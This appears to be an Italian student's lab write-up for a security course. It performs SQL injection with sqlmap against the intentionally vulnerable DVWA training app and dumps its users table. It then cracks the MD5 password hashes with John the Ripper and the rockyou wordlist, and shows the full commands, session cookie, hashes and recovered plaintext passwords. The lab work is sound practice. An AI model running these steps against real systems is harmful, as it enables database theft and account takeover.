

UNIT2 S6/L4

Recupero delle Password dal Database: ○ Accedete al database della DVWA per estrarre le password hashate. ○ Assicuratevi di avere accesso alle tabelle del database che contengono le password. Identificazione delle Password Hashate: ○ Verificate che le password recuperate siano hash di tipo MD5. Esecuzione del Cracking delle Password: ○ Utilizzate uno o più tool per craccare le password: ○ Configurare i tool scelti e avviate le sessioni di cracking. Obiettivo: ○ Craccare tutte le password recuperate dal database.

The image shows two side-by-side screenshots. The left screenshot is of the 'Vulnerability: SQL Injection' page in the Damn Vulnerable Web Application (DVWA). It features a 'User ID:' input field with a 'Submit' button. Below the input field, there is a 'More info' section with three links: <http://www.securiteam.com/securityreviews/SDP0N1P76E.html>, http://en.wikipedia.org/wiki/SQL_injection, and <http://www.unixwiz.net/techtips/sql-injection.html>. The left sidebar contains a navigation menu with options like Home, Instructions, Setup, Brute Force, Command Execution, CSRF, File Inclusion, SQL Injection (highlighted), SQL Injection (Blind), Upload, XSS reflected, XSS stored, DVWA Security, PHP Info, About, and Logout. At the bottom, it shows 'Username: admin', 'Security Level: low', and 'HPIDS: disabled'. The right screenshot shows the browser's developer tools with the 'Layout' tab selected. It displays the CSS box model for the 'body' element, showing a width of 1083px and a height of 727px. The 'body' element has a background color of #42122f and a text color of #eee777. The 'body' element is a flex container with a flex-direction of column.

document.cookie

(per richiedere il cookie della sessione)

```
(kali@kali)-[~]
$ sqlmap -u "http://192.168.50.18/dvwa/vulnerabilities/sqli/?id=276Submit=Submit#" --cookie="security=low; PHPSESSID=d9a83f1b2093b69c214f264c570b7e09" --dbs
```

scrivo URL, e richiedo --dbs per il database

```
available databases [7]:
[*] dvwa
[*] information_schema
[*] metasploit
[*] mysql
[*] owasp10
[*] tikiwiki
[*] tikiwiki195
```

```
(kali㉿kali)-[~]
└─$ sqlmap -u "http://192.168.50.18/dvwa/vulnerabilities/sqli/?id=%276Submit=Submit#" --cookie="security=low;PHPSESSID=d9a83f1b2093b69c214f264c570b7e09" -D dvwa -T users --columns
```

Column	Type
user	varchar(15)
avatar	varchar(70)
first_name	varchar(15)
last_name	varchar(15)
password	varchar(32)
user_id	int(6)

-D dvwa -T users --dump
scarica tutto quanto

```
Table: users
[5 entries]
+-----+-----+-----+-----+
| user_id | user      | avatar                                     | password |
| last_name | first_name |                                           |          |
+-----+-----+-----+-----+
| 1       | admin     | http://192.168.50.18/dvwa/hackable/users/admin.jpg | 5f4dcc3b5aa765d61d8327deb882cf99 |
| admin   | admin     |                                           |          |
| 2       | gordonb   | http://192.168.50.18/dvwa/hackable/users/gordonb.jpg | e99a18c428cb38d5f260853678922e03 |
| Brown   | Gordon    |                                           |          |
| 3       | 1337      | http://192.168.50.18/dvwa/hackable/users/1337.jpg | 8d3533d75ae2c3966d7e0d4fcc69216b |
| Me      | Hack      |                                           |          |
| 4       | pablo     | http://192.168.50.18/dvwa/hackable/users/pablo.jpg | 0d107d09f5bbe40cade3de5c71e9e9b7 |
| Picasso | Pablo     |                                           |          |
| 5       | smithy    | http://192.168.50.18/dvwa/hackable/users/smithy.jpg | 5f4dcc3b5aa765d61d8327deb882cf99 |
| Smith   | Bob       |                                           |          |
+-----+-----+-----+-----+
```

creo un file in cui metto tutti gli hash

```
~/Desktop/hashDVWA.txt - Mousepad
File Edit Search View Document Help
+-----+
1 5f4dcc3b5aa765d61d8327deb882cf99
2 e99a18c428cb38d5f260853678922e03 |
3 8d3533d75ae2c3966d7e0d4fcc69216b
4 0d107d09f5bbe40cade3de5c71e9e9b7
5 5f4dcc3b5aa765d61d8327deb882cf99
6
```

(SE LO CREO CON NANO CE L'HO NEL TERMINALE, SENNò SU DESKTOP DEVO SPECIFICARE IL PERCORSO)

POI DEVO SCARICARE WORDLIST IN ALTO A DESTRA TRA I "TOOL"

POI SCRIVO QUESTO COMANDO (IN QUESTO CASO CON IL PERCORSO, con nano)

```
john --format=Raw-MD5 --wordlist=/usr/share/wordlists/rockyou.txt  
/home/kali/Desktop/NomeDelFile.txt
```

```
(kali㉿kali)-[~]  
└─$ john --format=Raw-MD5 --wordlist=/usr/share/wordlists/rockyou.txt /home/kali/Desktop/hashDVWA.txt  
Using default input encoding: UTF-8  
Loaded 4 password hashes with no different salts (Raw-MD5 [MD5 256/256 AVX2 8x3])  
Warning: no OpenMP support for this hash type, consider --fork=3  
Press 'q' or Ctrl-C to abort, almost any other key for status  
password      (?)  
abc123         (?)  
letmein        (?)  
charley        (?)  
4g 0:00:00:00 DONE (2025-10-30 10:40) 400.0g/s 307200p/s 307200c/s 460800C/s my3kids..dangerous  
Warning: passwords printed above might not be all those cracked  
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably  
Session completed.
```